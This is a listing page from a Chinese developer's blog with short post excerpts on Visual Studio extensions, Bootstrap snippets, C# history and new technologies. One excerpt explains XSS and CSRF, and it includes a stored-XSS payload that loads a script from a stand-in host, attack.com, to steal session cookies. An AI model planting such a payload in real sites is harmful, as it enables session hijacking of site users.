会员
周边
新闻
博问
闪存
众包
赞助商
Chat2DB
所有博客
当前博客
我的博客
我的园子
账号设置
会员中心
简洁模式
...
退出登录
注册
登录
亚亚(资深程序员)
博客园
首页
新随笔
联系
订阅
管理
2017年3月27日
思考XSS攻击和跨站伪造请求CSRF
摘要: 一、跨站脚本攻击 XSS 场景:获取用户Cookie,用于伪造登录。如java的JSESSIONID。 例子:有个留言板程序http://test.com/add.jsp, list.jsp (1)恶意用户A留言, 内容<script>http://attack.com/attack.js</scr
阅读全文
posted @ 2017-03-27 13:27 亚亚(资深程序员)
阅读(316)
评论(0)
推荐(0)
2017年3月14日
Introducing Glyphfriend
摘要: Introducing Glyphfriend 13 DECEMBER 2014 on glyphfriend, visual-studio, tools During the Microsoft MVP Summit in November of this year, Mads Kristense
阅读全文
posted @ 2017-03-14 15:48 亚亚(资深程序员)
阅读(999)
评论(0)
推荐(0)
用于Visual Studio的Bootstrap代码片段扩展插件实现智能提示/提醒--Bootstrap Snippet Pack
摘要: 用于Visual Studio的Bootstrap代码片段扩展插件实现智能提示/提醒--Bootstrap Snippet Pack Visual Studio 2015-09-21 6043浏览 收藏本文 我们知道,Bootstrap是Twitter前端开发成员开发的一款移动为先的前端组件。Vis
阅读全文
posted @ 2017-03-14 15:40 亚亚(资深程序员)
阅读(4476)
评论(0)
推荐(0)
2017年3月12日
C# 17年历程
摘要: 早期版本 早期版本 C# 1,Visual Studio .NET 2002首次发布 C# 1.1,Visual Studio .NET 2003#line 杂注和 xml 文档注释 C# 2,Visual Studio .NET 2005匿名方法、泛型、可以为 null 的类型、迭代器/yield
阅读全文
posted @ 2017-03-12 08:58 亚亚(资深程序员)
阅读(151)
评论(0)
推荐(0)
2017年3月10日
新技术跟踪及感悟
摘要: 这几年一直忙于所谓的科研,无暇顾及软件开发。 猛回头,发现6年来已经很多新技术都无知了。 先mark一下吧,后续再展开: web前端: Easy UI,BootStrap Web技术: ASP.NET 5 悄然变成 ASP.NET Core 1.0,似乎是跨平台的节奏 MVC应用已经普及,连WebA
阅读全文
posted @ 2017-03-10 15:27 亚亚(资深程序员)
阅读(171)
评论(0)
推荐(0)
公告